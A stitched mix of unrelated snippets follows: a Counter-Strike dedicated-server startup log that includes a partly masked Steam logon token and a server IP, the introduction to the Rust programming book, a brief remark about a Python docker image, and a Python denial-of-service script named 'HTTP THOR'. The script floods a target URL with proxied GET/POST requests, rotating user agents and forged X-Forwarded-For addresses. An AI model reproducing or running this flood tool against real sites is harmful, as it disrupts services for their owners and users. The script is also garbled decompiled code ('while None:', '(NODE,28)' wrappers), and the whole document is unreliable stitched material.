mp_retake_t_loadout_full_buy_round - 0|2;#GameUI_Retake_Card_OlReliable,1,1,rifle1,grenade2|1;#GameUI_Retake_Card_SmokeShow,1,1,rifle1,grenade4|1;#GameUI_Retake_Card_HotShot,1,1,rifle1,grenade0|1;#GameUI_Retake_Card_EyeSpy,1,1,rifle3,grenade3 09:17:11 mp_retake_t_loadout_bonus_card_availability - 1,1,2 09:17:11 mp_retake_t_loadout_bonus_card - #GameUI_Retake_Card_TheAWPortunity,1,1,rifle4 09:17:11 mp_retake_t_loadout_enemy_card - #GameUI_Retake_Card_FindersKeepers,1,1,rifle1,grenade2 09:17:11 mp_retake_max_consecutive_rounds_same_target_site - 2 09:17:11 mp_damage_headshot_only - 0 09:17:11 mp_damage_scale_ct_body - 1.0 09:17:11 mp_damage_scale_ct_head - 1.0 09:17:11 mp_damage_scale_t_body - 1.0 09:17:11 mp_damage_scale_t_head - 1.0 09:17:11 mp_damage_vampiric_amount - 0 09:17:11 mp_death_drop_c4 - 1 09:17:11 mp_death_drop_defuser - 1 09:17:11 mp_death_drop_grenade - 2 09:17:11 mp_death_drop_gun - 1 09:17:11 mp_deathcam_skippable - 1 09:17:11 mp_default_team_winner_no_objective - -1 09:17:11 mp_defuser_allocation - 0 09:17:11 mp_display_kill_assists - 1 09:17:11 mp_dm_bonus_percent - 50 09:17:11 mp_dm_bonus_respawn - 0 09:17:11 mp_dm_bonusweapon_dogtags - 0 09:17:11 mp_dm_dogtag_score - 0 09:17:11 mp_dm_kill_base_score - 10 09:17:11 mp_dm_teammode - 0 09:17:11 mp_dm_teammode_bonus_score - 1 09:17:11 mp_dm_teammode_dogtag_score - 0 09:17:11 mp_dm_teammode_kill_score - 1 09:17:11 mp_dogtag_despawn_on_killer_death - 1 09:17:11 mp_dogtag_despawn_time - 120 09:17:11 mp_dogtag_pickup_rule - 0 09:17:11 mp_drop_grenade_enable - 0 09:17:11 mp_drop_knife_enable - 0 09:17:11 mp_economy_reset_rounds - 0 09:17:11 mp_equipment_reset_rounds - 0 09:17:11 mp_force_assign_teams - 0 09:17:11 mp_force_pick_time - 15 09:17:11 mp_forcecamera - 1 09:17:11 mp_free_armor - 0 09:17:11 mp_freezetime - 6 09:17:11 mp_friendlyfire - 0 09:17:11 mp_ggprogressive_round_restart_delay - 15.0 09:17:11 mp_ggtr_always_upgrade - 0 09:17:11 mp_ggtr_bomb_defuse_bonus - 1 09:17:11 mp_ggtr_bomb_detonation_bonus - 1 09:17:11 mp_ggtr_bomb_pts_for_flash - 4 09:17:11 mp_ggtr_bomb_pts_for_he - 3 09:17:11 mp_ggtr_bomb_pts_for_molotov - 5 09:17:11 mp_ggtr_bomb_pts_for_upgrade - 2.0 09:17:11 mp_ggtr_bomb_respawn_delay - 0.0 09:17:11 mp_ggtr_end_round_kill_bonus - 1 09:17:11 mp_ggtr_halftime_delay - 0.0 09:17:11 mp_ggtr_last_weapon_kill_ends_half - 0 09:17:11 mp_give_player_c4 - 1 09:17:11 mp_global_damage_per_second - 0.0 09:17:11 mp_guardian_bot_money_per_wave - 800 09:17:11 mp_guardian_force_collect_hostages_timeout - 50 09:17:11 mp_guardian_loc_icon - missing cvar specified in bspconvar_whitelist.txt 09:17:11 mp_guardian_loc_string_desc - 09:17:11 mp_guardian_loc_string_hud - #guardian_mission_type_kills 09:17:11 mp_guardian_loc_weapon - 09:17:11 mp_guardian_player_dist_max - 2000 09:17:11 mp_guardian_player_dist_min - 1300 09:17:11 mp_guardian_special_kills_needed - 10 09:17:11 mp_guardian_special_weapon_needed - awp 09:17:11 mp_guardian_target_site - -1 09:17:11 mp_guardian_force_collect_hostages_timeout - 50 09:17:11 mp_guardian_give_random_grenades_to_bots - 1 09:17:11 mp_guardian_ai_bt_difficulty_adjust_wave_interval - 1 09:17:11 mp_guardian_ai_bt_difficulty_max_next_level_bots - 3 09:17:11 mp_guardian_ai_bt_difficulty_cap_beginning_round - 2 09:17:11 mp_guardian_ai_bt_difficulty_initial_value - 2 09:17:11 mp_halftime - 0 09:17:11 mp_halftime_pausetimer - 0 09:17:11 mp_heavyassaultsuit_aimpunch - 1.0 09:17:11 mp_heavyassaultsuit_cooldown - 5 09:17:11 mp_heavyassaultsuit_deploy_timescale - 0.8 09:17:11 mp_heavyassaultsuit_speed - 130 09:17:11 mp_heavybot_damage_reduction_scale - 1.0 09:17:11 mp_hostagepenalty - 10 09:17:11 mp_hostages_max - 2 09:17:11 mp_hostages_spawn_force_positions - 09:17:11 mp_hostages_spawn_same_every_round - 1 09:17:11 mp_items_prohibited - 09:17:11 mp_limitteams - 2 09:17:11 mp_match_can_clinch - 1 09:17:11 mp_match_end_changelevel - 0 09:17:11 mp_max_armor - 2 09:17:11 mp_maxmoney - 16000 09:17:11 mp_maxrounds - 0 09:17:11 mp_molotovusedelay - 15.0 09:17:11 mp_only_cts_rescue_hostages - 1 09:17:11 mp_plant_c4_anywhere - 0 09:17:11 mp_playercashawards - 1 09:17:11 mp_radar_showall - 0 09:17:11 mp_randomspawn - 0 09:17:11 mp_randomspawn_dist - 0 09:17:11 mp_randomspawn_los - 1 09:17:11 mp_respawn_immunitytime - 4.0 09:17:11 mp_respawn_on_death_ct - 0 09:17:11 mp_respawn_on_death_t - 0 09:17:11 mp_respawnwavetime_ct - 10.0 09:17:11 mp_respawnwavetime_t - 10.0 09:17:11 mp_round_restart_delay - 7.0 09:17:11 mp_roundtime - 5 09:17:11 mp_roundtime_defuse - 0 09:17:11 mp_roundtime_hostage - 0 09:17:11 mp_solid_teammates - 1 09:17:11 mp_starting_losses - 0 09:17:11 mp_startmoney - 800 09:17:11 mp_suicide_penalty - 1 09:17:11 mp_t_default_grenades - 09:17:11 mp_t_default_melee - weapon_knife 09:17:11 mp_t_default_primary - 09:17:11 mp_t_default_secondary - weapon_glock 09:17:11 mp_tagging_scale - 1.0 09:17:11 mp_taser_recharge_time - -1 09:17:11 mp_teamcashawards - 1 09:17:11 mp_teammates_are_enemies - 0 09:17:11 mp_timelimit - 5 09:17:11 mp_use_respawn_waves - 0 09:17:11 mp_warmup_pausetimer - 0 09:17:11 mp_warmuptime - 30 09:17:11 mp_warmuptime_all_players_connected - 0 09:17:11 mp_weapon_self_inflict_amount - 0 09:17:11 mp_weapons_allow_heavy - -1 09:17:11 mp_weapons_allow_heavyassaultsuit - 0 09:17:11 mp_weapons_allow_map_placed - 0 09:17:11 mp_weapons_allow_pistols - -1 09:17:11 mp_weapons_allow_rifles - -1 09:17:11 mp_weapons_allow_smgs - -1 09:17:11 mp_weapons_allow_typecount - 5 09:17:11 mp_weapons_allow_zeus - 1 09:17:11 mp_weapons_glow_on_ground - 0 09:17:11 mp_weapons_max_gun_purchases_per_weapon_per_match - -1 09:17:11 mp_win_panel_display_time - 3 09:17:11 occlusion_test_async - 0 09:17:11 spec_freeze_panel_extended_time - 0.0 09:17:11 spec_freeze_time - 3.0 09:17:11 spec_replay_bot - 0 09:17:11 spec_replay_enable - 0 09:17:11 spec_replay_leadup_time - 5.3438 09:17:11 sv_accelerate - 5.5 09:17:11 sv_air_pushaway_dist - 0 09:17:11 sv_airaccelerate - 12 09:17:11 sv_allow_votes - 1 09:17:11 sv_alltalk - 0 09:17:11 sv_arms_race_vote_to_restart_disallowed_after - 0 09:17:11 sv_auto_adjust_bot_difficulty - 1 09:17:11 sv_auto_full_alltalk_during_warmup_half_end - 1 09:17:11 sv_autobunnyhopping - 0 09:17:11 sv_autobuyammo - 0 09:17:11 sv_bot_buy_decoy_weight - 1 09:17:11 sv_bot_buy_flash_weight - 1 09:17:11 sv_bot_buy_grenade_chance - 33 09:17:11 sv_bot_buy_hegrenade_weight - 6 09:17:11 sv_bot_buy_molotov_weight - 1 09:17:11 sv_bot_buy_smoke_weight - 1 09:17:11 sv_bots_force_rebuy_every_round - 0 09:17:11 sv_bots_get_easier_each_win - 0 09:17:11 sv_bots_get_harder_after_each_wave - 0 09:17:11 sv_bounce - 0 09:17:11 sv_buy_status_override - -1 09:17:11 sv_deadtalk - 0 09:17:11 sv_disable_immunity_alpha - 0 09:17:11 sv_disable_radar - 0 09:17:11 sv_disable_show_team_select_menu - missing cvar specified in bspconvar_whitelist.txt 09:17:11 sv_duplicate_playernames_ok - 0 09:17:11 sv_enablebunnyhopping - 0 09:17:11 sv_env_entity_makers_enabled - 1 09:17:11 sv_extract_ammo_from_dropped_weapons - 0 09:17:11 sv_falldamage_scale - 1 09:17:11 sv_falldamage_to_below_player_multiplier - 1 09:17:11 sv_falldamage_to_below_player_ratio - 0 09:17:11 sv_force_reflections - 0 09:17:11 sv_friction - 5.2 09:17:11 sv_grassburn - 0 09:17:11 sv_gravity - 800 09:17:11 sv_guardian_extra_equipment_ct - 09:17:11 sv_guardian_extra_equipment_t - 09:17:11 sv_guardian_health_refresh_per_wave - 50 09:17:11 sv_guardian_heavy_all - 0 09:17:11 sv_guardian_heavy_count - 0 09:17:11 sv_guardian_max_wave_for_heavy - 0 09:17:11 sv_guardian_min_wave_for_heavy - 0 09:17:11 sv_guardian_refresh_ammo_for_items_on_waves - 09:17:11 sv_guardian_reset_c4_every_wave - 0 09:17:11 sv_guardian_respawn_health - 50 09:17:11 sv_guardian_spawn_health_ct - 100 09:17:11 sv_guardian_spawn_health_t - 100 09:17:11 sv_health_approach_enabled - 0 09:17:11 sv_health_approach_speed - 10 09:17:11 sv_hegrenade_damage_multiplier - 1 09:17:11 sv_hegrenade_radius_multiplier - 1 09:17:11 sv_hide_roundtime_until_seconds - missing cvar specified in bspconvar_whitelist.txt 09:17:11 sv_highlight_distance - 500 09:17:11 sv_highlight_duration - 3.5 09:17:11 sv_ignoregrenaderadio - 0 09:17:11 sv_infinite_ammo - 0 09:17:11 sv_knife_attack_extend_from_player_aabb - 0 09:17:11 sv_maxspeed - 320 09:17:11 sv_maxvelocity - 3500 09:17:11 sv_occlude_players - 1 09:17:11 sv_outofammo_indicator - 0 09:17:11 sv_show_ragdoll_playernames - missing cvar specified in bspconvar_whitelist.txt 09:17:11 sv_show_team_equipment_force_on - 0 09:17:11 sv_staminajumpcost - .080 09:17:11 sv_staminalandcost - .050 09:17:11 sv_stopspeed - 80 09:17:11 sv_talk_enemy_dead - 0 09:17:11 sv_talk_enemy_living - 0 09:17:11 sv_teamid_overhead_maxdist - 0 09:17:11 sv_teamid_overhead_maxdist_spec - 0 09:17:11 sv_versus_screen_scene_id - 0 09:17:11 sv_vote_to_changelevel_before_match_point - 0 09:17:11 sv_warmup_to_freezetime_delay - 4 09:17:11 sv_water_movespeed_multiplier - 0.8 09:17:11 sv_water_swim_mode - 0 09:17:11 sv_wateraccelerate - 10 09:17:11 sv_waterfriction - 1 09:17:11 sv_weapon_encumbrance_per_item - 0.85 09:17:11 sv_weapon_encumbrance_scale - 0 09:17:11 tv_delay - 10 09:17:11 tv_delay1 - 15 09:17:11 weapon_accuracy_nospread - 0 09:17:11 weapon_air_spread_scale - 1.0 09:17:11 weapon_max_before_cleanup - 0 09:17:11 weapon_recoil_scale - 2.0 09:17:11 weapon_reticle_knife_show - 1 09:17:11 weapon_sound_falloff_multiplier - 1.0 09:17:11 sv_camera_fly_enabled - missing cvar specified in bspconvar_whitelist.txt 09:17:11 Executing dedicated server config file 09:17:11 Execing config: server.cfg 09:17:11 Unknown command "sv_maxcmdrate" 09:17:11 Unknown command "sv_vote_creation_time" 09:17:11 Writing cfg/banned_user.cfg. 09:17:11 Writing cfg/banned_ip.cfg. 09:17:11 Execing config: banned_user.cfg 09:17:11 Execing config: banned_ip.cfg 09:17:11 Unknown command "allow_spectators" 09:17:11 Execing config: gamemode_competitive.cfg 09:17:11 Execing config: gamemode_competitive_server.cfg 09:17:11 exec: couldn't exec gamemode_competitive_server.cfg 09:17:11 GameTypes: set convars for game type/mode (classic:0/competitive:1): 09:17:11 exec { 09:17:11 exec gamemode_competitive.cfg 09:17:11 exec_offline gamemode_competitive_offline.cfg 09:17:11 exec gamemode_competitive_server.cfg 09:17:11 } 09:17:11 Set Gravity 800.0 (0.250 tolerance) 09:17:11 CHostage::Precache: missing hostage models for map de_dust2. Adding the default models. 09:17:11 PrecacheScriptSound 'Snowball.Bounce' failed, no such sound script entry 09:17:12 PrecacheScriptSound 'Survival.VO.Taunt4a' failed, no such sound script entry 09:17:13 Failed to load models/weapons/w_knife_ghost_dropped.mdl! 09:17:13 Failed to load models/props/crates/patch_envelope02.mdl! 09:17:13 PrecacheScriptSound 'balkan_epic_blank' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.omw_to_plant_a_04' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_ramp_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_back_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_platform_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_catwalk_03' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_enemy_spawn_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_doubledoors_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_front_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_overpass_03' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_palace_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_stairs_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_snipers_nest_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_connector_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_door_01' failed, no such sound script entry 09:17:14 Invalid file size for host.txt 09:17:14 Commentary: Could not find commentary data file 'maps/de_dust2_commentary.txt'. 09:17:14 The Navigation Mesh was built using a different version of this map. 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Created class baseline: 20 classes, 13792 bytes. 09:17:14 Initializing Steam libraries for secure Internet server 09:17:14 Logging into Steam gameserver account with logon token 'B74A031Fxxxxxxxxxxxxxxxxxxxxxxxx' 09:17:14 Initialized low level socket/threading support. 09:17:14 \src\steamnetworkingsockets\clientlib\csteamnetworkingsockets_steam.cpp(138): Assertion Failed: Initted interface twice? 09:17:14 Set SteamNetworkingSockets P2P_STUN_ServerList to '' as per SteamNetworkingSocketsSerialized 09:17:14 SteamDatagramServer_Init succeeded 09:17:14 Execing config: sourcemod/sourcemod.cfg 09:17:14 Execing config: sourcemod\basevotes.cfg 09:17:14 Execing config: sourcemod\funcommands.cfg 09:17:14 Execing config: sourcemod\funvotes.cfg 09:17:14 Connection to Steam servers successful. 09:17:14 Public IP is 89.203.193.220. 09:17:14 Assigned persistent gameserver Steam ID [G:1:3976299]. 09:17:14 Gameserver logged on to Steam, assigned identity steamid:85568392924015723 09:17:14 Set SteamNetworkingSockets P2P_STUN_ServerList to '146.66.155.54:3478' as per SteamNetworkingSocketsSerialized 09:17:15 VAC secure mode is activated. 09:17:15 Received server welcome from GC. 09:17:15 GC Connection established for server version 1219, instance idx 1
anujkumarthakur
Introduction Note: This edition of the book is the same as The Rust Programming Language available in print and ebook format from No Starch Press. Welcome to The Rust Programming Language, an introductory book about Rust. The Rust programming language helps you write faster, more reliable software. High-level ergonomics and low-level control are often at odds in programming language design; Rust challenges that conflict. Through balancing powerful technical capacity and a great developer experience, Rust gives you the option to control low-level details (such as memory usage) without all the hassle traditionally associated with such control. Who Rust Is For Rust is ideal for many people for a variety of reasons. Let’s look at a few of the most important groups. Teams of Developers Rust is proving to be a productive tool for collaborating among large teams of developers with varying levels of systems programming knowledge. Low-level code is prone to a variety of subtle bugs, which in most other languages can be caught only through extensive testing and careful code review by experienced developers. In Rust, the compiler plays a gatekeeper role by refusing to compile code with these elusive bugs, including concurrency bugs. By working alongside the compiler, the team can spend their time focusing on the program’s logic rather than chasing down bugs. Rust also brings contemporary developer tools to the systems programming world: Cargo, the included dependency manager and build tool, makes adding, compiling, and managing dependencies painless and consistent across the Rust ecosystem. Rustfmt ensures a consistent coding style across developers. The Rust Language Server powers Integrated Development Environment (IDE) integration for code completion and inline error messages. By using these and other tools in the Rust ecosystem, developers can be productive while writing systems-level code. Students Rust is for students and those who are interested in learning about systems concepts. Using Rust, many people have learned about topics like operating systems development. The community is very welcoming and happy to answer student questions. Through efforts such as this book, the Rust teams want to make systems concepts more accessible to more people, especially those new to programming. Companies Hundreds of companies, large and small, use Rust in production for a variety of tasks. Those tasks include command line tools, web services, DevOps tooling, embedded devices, audio and video analysis and transcoding, cryptocurrencies, bioinformatics, search engines, Internet of Things applications, machine learning, and even major parts of the Firefox web browser. Open Source Developers Rust is for people who want to build the Rust programming language, community, developer tools, and libraries. We’d love to have you contribute to the Rust language. People Who Value Speed and Stability Rust is for people who crave speed and stability in a language. By speed, we mean the speed of the programs that you can create with Rust and the speed at which Rust lets you write them. The Rust compiler’s checks ensure stability through feature additions and refactoring. This is in contrast to the brittle legacy code in languages without these checks, which developers are often afraid to modify. By striving for zero-cost abstractions, higher-level features that compile to lower-level code as fast as code written manually, Rust endeavors to make safe code be fast code as well. The Rust language hopes to support many other users as well; those mentioned here are merely some of the biggest stakeholders. Overall, Rust’s greatest ambition is to eliminate the trade-offs that programmers have accepted for decades by providing safety and productivity, speed and ergonomics. Give Rust a try and see if its choices work for you. Who This Book Is For This book assumes that you’ve written code in another programming language but doesn’t make any assumptions about which one. We’ve tried to make the material broadly accessible to those from a wide variety of programming backgrounds. We don’t spend a lot of time talking about what programming is or how to think about it. If you’re entirely new to programming, you would be better served by reading a book that specifically provides an introduction to programming. How to Use This Book In general, this book assumes that you’re reading it in sequence from front to back. Later chapters build on concepts in earlier chapters, and earlier chapters might not delve into details on a topic; we typically revisit the topic in a later chapter. You’ll find two kinds of chapters in this book: concept chapters and project chapters. In concept chapters, you’ll learn about an aspect of Rust. In project chapters, we’ll build small programs together, applying what you’ve learned so far. Chapters 2, 12, and 20 are project chapters; the rest are concept chapters. Chapter 1 explains how to install Rust, how to write a Hello, world! program, and how to use Cargo, Rust’s package manager and build tool. Chapter 2 is a hands-on introduction to the Rust language. Here we cover concepts at a high level, and later chapters will provide additional detail. If you want to get your hands dirty right away, Chapter 2 is the place for that. At first, you might even want to skip Chapter 3, which covers Rust features similar to those of other programming languages, and head straight to Chapter 4 to learn about Rust’s ownership system. However, if you’re a particularly meticulous learner who prefers to learn every detail before moving on to the next, you might want to skip Chapter 2 and go straight to Chapter 3, returning to Chapter 2 when you’d like to work on a project applying the details you’ve learned. Chapter 5 discusses structs and methods, and Chapter 6 covers enums, match expressions, and the if let control flow construct. You’ll use structs and enums to make custom types in Rust. In Chapter 7, you’ll learn about Rust’s module system and about privacy rules for organizing your code and its public Application Programming Interface (API). Chapter 8 discusses some common collection data structures that the standard library provides, such as vectors, strings, and hash maps. Chapter 9 explores Rust’s error-handling philosophy and techniques. Chapter 10 digs into generics, traits, and lifetimes, which give you the power to define code that applies to multiple types. Chapter 11 is all about testing, which even with Rust’s safety guarantees is necessary to ensure your program’s logic is correct. In Chapter 12, we’ll build our own implementation of a subset of functionality from the grep command line tool that searches for text within files. For this, we’ll use many of the concepts we discussed in the previous chapters. Chapter 13 explores closures and iterators: features of Rust that come from functional programming languages. In Chapter 14, we’ll examine Cargo in more depth and talk about best practices for sharing your libraries with others. Chapter 15 discusses smart pointers that the standard library provides and the traits that enable their functionality. In Chapter 16, we’ll walk through different models of concurrent programming and talk about how Rust helps you to program in multiple threads fearlessly. Chapter 17 looks at how Rust idioms compare to object-oriented programming principles you might be familiar with. Chapter 18 is a reference on patterns and pattern matching, which are powerful ways of expressing ideas throughout Rust programs. Chapter 19 contains a smorgasbord of advanced topics of interest, including unsafe Rust, macros, and more about lifetimes, traits, types, functions, and closures. In Chapter 20, we’ll complete a project in which we’ll implement a low-level multithreaded web server! Finally, some appendixes contain useful information about the language in a more reference-like format. Appendix A covers Rust’s keywords, Appendix B covers Rust’s operators and symbols, Appendix C covers derivable traits provided by the standard library, Appendix D covers some useful development tools, and Appendix E explains Rust editions. There is no wrong way to read this book: if you want to skip ahead, go for it! You might have to jump back to earlier chapters if you experience any confusion. But do whatever works for you. An important part of the process of learning Rust is learning how to read the error messages the compiler displays: these will guide you toward working code. As such, we’ll provide many examples that don’t compile along with the error message the compiler will show you in each situation. Know that if you enter and run a random example, it may not compile! Make sure you read the surrounding text to see whether the example you’re trying to run is meant to error. Ferris will also help you distinguish code that isn’t meant to work:
albertedwardson
Yes, free threaded aka nogil python 3.13.0 release docker image.
ntkdrm3k
#!/usr/bin/env python #coding: utf-8 #..:: > HTTP THOR < ::.. Mod By THOR import urllib.request as urllib import os import threading import time import random import sys import string import urllib import multiprocessing import hashlib import getpass import socket import http.client as http CONST_USERAGENT = [ 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3', 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0', 'Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0', 'Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0', 'Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0', 'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)', 'Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)', 'Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00', 'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14', 'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14', 'Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02', 'Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00', 'Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)', 'HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)', 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+', 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+', 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+', 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+', 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5', 'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10', 'Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27'] def MyProcess(): '''MyProcess''' __qualname__ = 'MyProcess' def __init__(self, url, proxy_list, threads_number): multiprocessing.Process.__init__(self) self.url = url self.proxy_list = proxy_list self.threads_number = threads_number def run(self): for i in range(self.threads_number): Boomer(self.url, self.proxy_list).start() MyProcess = (NODE,28)(MyProcess, 'MyProcess', multiprocessing.Process) def Boomer(): '''Boomer''' __qualname__ = 'Boomer' def __init__(self, target_url, proxy_list): threading.Thread.__init__(self) self.target_url = target_url self.proxy_list = proxy_list self.prob = random.randrange(0, 10, 1) def randomIp(self): random.seed() result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.' result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) return result def randomIpList(self): random.seed() res = '' for ip in range(random.randint(2, 8)): res = res + self.randomIp() + ', ' return res[0:len(res) - 2] def randomUserAgent(self): return random.choice(CONST_USERAGENT) def run(self): method = 'GET' if random.randrange(0, 10, 1) >= 5: method = 'POST' proxy_selected = random.choice(self.proxy_list).split(':') head = method + ' ' + self.target_url + ' HTTP/1.1\r\n' host_url = self.target_url.replace('http://', '').replace('https://', '').split('/')[0] host = 'Host: ' + host_url + '/ \r\n' accept = 'Accept-Encoding: gzip, deflate\r\n' user_agent = 'User-Agent: ' + self.randomUserAgent() + '\r\n' connection = 'Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n' x_forwarded_for = 'X-Forwarded-For: ' + self.randomIpList() + '\r\n' http_request = head + host + user_agent + accept + x_forwarded_for + connection + '\r\n' while None: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((proxy_selected[0], int(proxy_selected[1]))) s.send(http_request.encode('utf-8')) print('@' + method + ' request make.') try: for i in range(3): s.send(http_request) except: tts = 1 continue proxy = random.choice(self.proxy_list).split(':') continue continue return None Boomer = (NODE,28)(Boomer, 'Boomer', threading.Thread) class Main: __qualname__ = 'Main' def __init__(self): if os.name in ('nt', 'dos', 'ce'): os.system('cls') os.system('title ..................::HTTP THOR::..................') os.system('color a') color = [ 'a', 'b', 'c', 'd', 'e', 'f'] os.system('color %s' % color[random.randrange(0, len(color), 1)]) else: linux_shell_color = [ '\x1b[31m', '\x1b[32m', '\x1b[33m', '\x1b[34m', '\x1b[35m', '\x1b[36m', '\x1b[37m', '\x1b[95m', '\x1b[94m', '\x1b[92m', '\x1b[93m', '\x1b[91m', '\x1b[0m'] print(linux_shell_color[random.randrange(0, len(linux_shell_color), 1)]) disclaimer = ' \n' \ ' _ _ ___ _ _____ ' \ ' __| | __| |/ _ \\ ___ __| |___ /_ __\n' \ ' / _` |/ _` | | | / __|/ _` | |_ \\ \\ / /\n' \ ' | (_| | (_| | |_| \\__ \\ (_| |___) \\ V / \n' \ ' \\__,_|\\__,_|\\___/|___/\\__,_|____/ \\_/ \n' \ ' ### Using this program you are responsible of your action.\n' \ ' ### Be carefull and read TOS.\n' \ ' ### Author and copyright are reserverd by THOR.\n' \ '\n' \ ' BY ACCESSING AND USING THE SERVICES IN ANY MANNER, YOU ARE "ACCEPTING" \n' \ ' AND AGREEING TO BE BOUND BY THESE TERMS OF SERVICE TO THE EXCLUSION OF ALL OTHER TERMS. \n' \ ' IF YOU DO NOT UNCONDITIONALLY ACCEPT THESE TERMS IN THEIR ENTIRETY, \n' \ ' YOU SHALL NOT (AND SHALL HAVE NO RIGHT TO) ACCESS OR USE THE SERVICES. \n' \ ' IF THE TERMS OF THIS AGREEMENT ARE CONSIDERED AN OFFER, ACCEPTANCE IS EXPRESSLY LIMITED TO SUCH TERMS. \n' \ ' THESE TERMS SHOULD BE READ IN CONJUNCTION WITH HOOTSUITE\xc3\xa2\xe2\x82\xac\xe2\x84\xa2S PRIVACY POLICY AND COPYRIGHT 